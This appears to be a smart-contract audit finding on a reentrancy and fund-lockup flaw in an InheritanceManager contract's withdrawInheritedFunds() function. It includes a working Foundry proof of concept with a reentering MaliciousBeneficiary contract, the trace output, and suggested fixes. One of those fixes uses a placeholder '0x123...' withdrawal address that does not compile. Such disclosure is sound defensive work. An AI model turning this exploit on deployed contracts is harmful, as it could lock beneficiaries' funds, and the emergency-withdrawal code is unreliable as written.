Description
The withdrawInheritedFunds() function in the InheritanceManager contract contains a critical vulnerability that makes it unusable, potentially locking funds in the contract permanently. The root causes are:
-
Lack of Reentrancy Protection: Unlike other functions in the contract that use the nonReentrant modifier, this function lacks reentrancy protection.
-
Single-Transaction Distribution Design: The function attempts to distribute funds to all beneficiaries in a single transaction, causing the entire transaction to revert if any transfer fails.
function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}
Impact Analysis
1. Permanent Fund Lockup
The most severe consequence is that funds could become permanently locked in the contract because:
-
If any beneficiary is a contract with a fallback function that reenters withdrawInheritedFunds(), the transaction will revert due to calculation inconsistencies.
-
Even if a nonReentrant modifier is added, the function would still revert if any transfer fails for any reason (insufficient gas, contract error, etc.).
-
The contract lacks alternative withdrawal mechanisms once inheritance is triggered.
-
Only the owner can remove problematic beneficiaries, but the owner is presumed unavailable (otherwise inheritance wouldn't be triggered).
2. Detailed Failure Scenario
When a malicious or complex (e.g., multisig) contract is among the beneficiaries:
withdrawInheritedFunds() calculates amountPerBeneficiary based on total balance
It attempts to send funds to the first beneficiary
If this beneficiary is a contract with a fallback function that reenters withdrawInheritedFunds()
In the reentrancy call, the same calculation is performed again without accounting for the previous transfer
When attempting to complete the original transaction, there are insufficient funds
The require(success, "something went wrong") check fails
The entire transaction reverts, leaving all funds locked
3. Strategic Exploitation
A malicious beneficiary could deliberately exploit this vulnerability to:
Block other beneficiaries from receiving their inheritance
Force a negotiation outside the blockchain
Create a deadlock situation requiring legal intervention
Proof of Concept
{
function test_reentrancyVulnerability() public {
address user2 = makeAddr("user2");
vm.warp(1);
vm.startPrank(owner);
vm.deal(address(im), 30 ether);
MaliciousBeneficiary maliciousBeneficiary = new MaliciousBeneficiary(address(im));
im.addBeneficiery(address(maliciousBeneficiary));
im.addBeneficiery(user1);
im.addBeneficiery(user2);
vm.stopPrank();
vm.warp(1 + 90 days);
vm.prank(user1);
im.inherit();
uint256 initialMaliciousBalance = address(maliciousBeneficiary).balance;
uint256 initialUser1Balance = user1.balance;
uint256 initialUser2Balance = user2.balance;
uint256 initialContractBalance = address(im).balance;
vm.prank(address(maliciousBeneficiary));
im.withdrawInheritedFunds(address(0));
uint256 finalMaliciousBalance = address(maliciousBeneficiary).balance;
uint256 finalUser1Balance = user1.balance;
uint256 finalUser2Balance = user2.balance;
uint256 finalContractBalance = address(im).balance;
console.log("Malicious beneficiary balance:", finalMaliciousBalance);
console.log("User1 balance:", finalUser1Balance);
console.log("User2 balance:", finalUser2Balance);
console.log("Contract balance remaining:", finalContractBalance);
}
}
contract MaliciousBeneficiary {
InheritanceManager public im;
bool reentered;
constructor(address _im) {
im = InheritanceManager(_im);
}
receive() external payable {
if (!reentered) {
reentered = true;
im.withdrawInheritedFunds(address(0));
}
}
}
Output:
[356288] InheritanceManagerTest::test_reentrancyVulnerability()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802]
├─ [0] VM::label(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], "user2")
│ └─ ← [Return]
├─ [0] VM::warp(1)
│ └─ ← [Return]
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 30000000000000000000 [3e19])
│ └─ ← [Return]
├─ [76050] → new MaliciousBeneficiary@0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
│ └─ ← [Return] 268 bytes of code
├─ [69020] InheritanceManager::addBeneficiery(MaliciousBeneficiary: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(7776001 [7.776e6])
│ └─ ← [Return]
├─ [0] VM::prank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [22686] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [0] VM::prank(MaliciousBeneficiary: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d])
│ └─ ← [Return]
├─ [88788] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ ├─ [73506] MaliciousBeneficiary::receive{value: 10000000000000000000}()
│ │ ├─ [72704] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ │ │ ├─ [194] MaliciousBeneficiary::receive{value: 6666666666666666666}()
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [0] user1::fallback{value: 6666666666666666666}()
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [0] user2::fallback{value: 6666666666666666666}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ [0] user1::fallback{value: 10000000000000000000}()
│ │ └─ ← [OutOfFunds] EvmError: OutOfFunds
│ └─ ← [Revert] revert: something went wrong
└─ ← [Revert] revert: something went wrong
Proof of Concept Test Analysis
The provided test demonstrates the vulnerability:
The contract is funded with 30 ETH for 3 beneficiaries (10 ETH each)
During distribution, the malicious contract receives 10 ETH and reenters
In the reentrant call, each beneficiary again receives 6.66 ETH (20/3)
When the original call continues to the second beneficiary, it attempts to send 10 ETH
The contract now has insufficient funds, causing an OutOfFunds error
The transaction reverts, restoring all state
Each subsequent attempt will fail similarly
Key Observations
-
Adding a nonReentrant Guard is Insufficient: While it would prevent the reentrancy attack, it wouldn't solve the fundamental issue of the function failing if any transfer fails.
-
Contextual Severity Considerations:
In an inheritance contract, the owner's unavailability is assumed
No emergency functions exist to handle edge cases
Beneficiaries cannot remove malicious beneficiaries
The combination makes this vulnerability exceptionally severe in this context
-
Design Flaw: The push-based distribution pattern (sending to all beneficiaries in one transaction) is inherently risky for this use case.
Recommendations
1. Implement a Pull-Based Withdrawal Pattern
Replace the current push-based distribution with a two-step pull-based approach:
mapping(address => bool) public assetPreparedForDistribution;
mapping(address => mapping(address => uint256)) public claimableAmount;
function prepareInheritedFunds(address _asset) external nonReentrant {
if (!isInherited) {
revert NotYetInherited();
}
if (assetPreparedForDistribution[_asset]) {
revert AlreadyPrepared();
}
uint256 divisor = beneficiaries.length;
uint256 amountPerBeneficiary;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
amountPerBeneficiary = ethAmountAvailable / divisor;
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
amountPerBeneficiary = assetAmountAvailable / divisor;
}
for (uint256 i = 0; i < divisor; i++) {
claimableAmount[_asset][beneficiaries[i]] = amountPerBeneficiary;
}
assetPreparedForDistribution[_asset] = true;
}
function claimInheritedFunds(address _asset) external nonReentrant {
uint256 amount = claimableAmount[_asset][msg.sender];
require(amount > 0, "Nothing to claim");
claimableAmount[_asset][msg.sender] = 0;
if (_asset == address(0)) {
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "ETH transfer failed");
} else {
IERC20(_asset).safeTransfer(msg.sender, amount);
}
}
2. Add Beneficiary Governance
Implement a mechanism for beneficiaries to collectively govern the contract after inheritance is triggered:
mapping(address => mapping(address => bool)) public removalVotes;
mapping(address => uint256) public removalVoteCount;
function voteToRemoveBeneficiary(address _beneficiary) external {
require(isInherited, "Not inherited yet");
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
require(isBeneficiary, "Not a beneficiary");
require(!removalVotes[_beneficiary][msg.sender], "Already voted");
removalVotes[_beneficiary][msg.sender] = true;
removalVoteCount[_beneficiary]++;
if (removalVoteCount[_beneficiary] > beneficiaries.length / 2) {
uint256 indexToRemove = _getBeneficiaryIndex(_beneficiary);
uint256 lastIndex = beneficiaries.length - 1;
if (indexToRemove != lastIndex) {
beneficiaries[indexToRemove] = beneficiaries[lastIndex];
}
beneficiaries.pop();
}
}
3. Add an Emergency Resolution Mechanism
Implement a timelock-based emergency withdrawal if the standard distribution fails:
uint256 public constant EMERGENCY_TIMELOCK = 30 days;
uint256 public emergencyWithdrawalDeadline;
mapping(address => bool) public emergencyWithdrawalVotes;
uint256 public emergencyWithdrawalVoteCount;
function voteForEmergencyWithdrawal() external {
require(isInherited, "Not inherited yet");
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
require(isBeneficiary, "Not a beneficiary");
require(!emergencyWithdrawalVotes[msg.sender], "Already voted");
emergencyWithdrawalVotes[msg.sender] = true;
emergencyWithdrawalVoteCount++;
if (emergencyWithdrawalVoteCount > beneficiaries.length / 2 && emergencyWithdrawalDeadline == 0) {
emergencyWithdrawalDeadline = block.timestamp + EMERGENCY_TIMELOCK;
}
}
function executeEmergencyWithdrawal(address _asset) external nonReentrant {
require(emergencyWithdrawalDeadline > 0, "Emergency not initiated");
require(block.timestamp >= emergencyWithdrawalDeadline, "Timelock not expired");
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
require(isBeneficiary, "Not a beneficiary");
address payable safeWithdrawalAddress = payable(0x123...);
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
(bool success,) = safeWithdrawalAddress.call{value: ethAmountAvailable}("");
require(success, "ETH transfer failed");
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
IERC20(_asset).safeTransfer(safeWithdrawalAddress, assetAmountAvailable);
}
}
Tools Used
Conclusion
This vulnerability represents a critical failure in the core functionality of the inheritance contract. While it might appear to be a simple reentrancy issue at first glance, the actual impact is much more severe—a complete and permanent inability to distribute inheritance funds. This effectively nullifies the purpose of the contract in scenarios where it is most needed.
